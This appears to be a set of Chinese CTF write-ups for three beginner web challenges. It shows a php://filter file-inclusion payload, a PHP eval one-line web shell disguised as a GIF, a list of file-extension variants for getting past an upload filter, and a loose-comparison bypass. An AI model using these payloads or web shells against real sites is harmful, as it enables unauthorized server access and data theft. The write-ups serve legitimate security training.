[极客大挑战 2019]Secret File1
直接看网页源码
发现Archive_room.php文件,访问文件
点击秘密
回显太快了,直接就跳到end.php
那么就用bp抓包试一下
发现 secr3t.php文件并访问
发现文件flag.php,尝试访问flag.php
在发现有flag.php文件的时候,应该联想到伪协议的运用,访问不了flag文件就读取它
payload:secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
base64解码得到flag
php伪协议
[ACTF2020 新生赛]Upload1
文件上传要求上传的文件是jpg,png,gif
那就上传一句话木马以jpg的形式上传
GIF89a
<?php @eval($_POST['1234']);?>
用bp抓包,并将后缀名更改为.php、.php5、php4、.php3、php2、php1、html、htm、phtml、pht、pHp、pHp5、pHp4、pHp3、pHp2、pHp1、Html、Htm、pHtml。但是php不能用,不会回显上传成功,那就用phtml
拿到回显,用蚁剑连接
查看文件就可以找到flag
[ACTF2020 新生赛]BackupFile1
先用dirsearch扫描目录,得到index.php.bak,访问会提示下载
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
要求GET传入key,key只能为数字否则会执行exit("Just num!"),截取key的整数部分,如果==$str那么就会输出$flag,注意这里使用的是==而不是===,那么就是一个简单的弱比较问题
所以我们只需要传入key=123即可
知识点
is_numeric() 检测变量是否为数字或数字字符串
intval():获取变量的整数值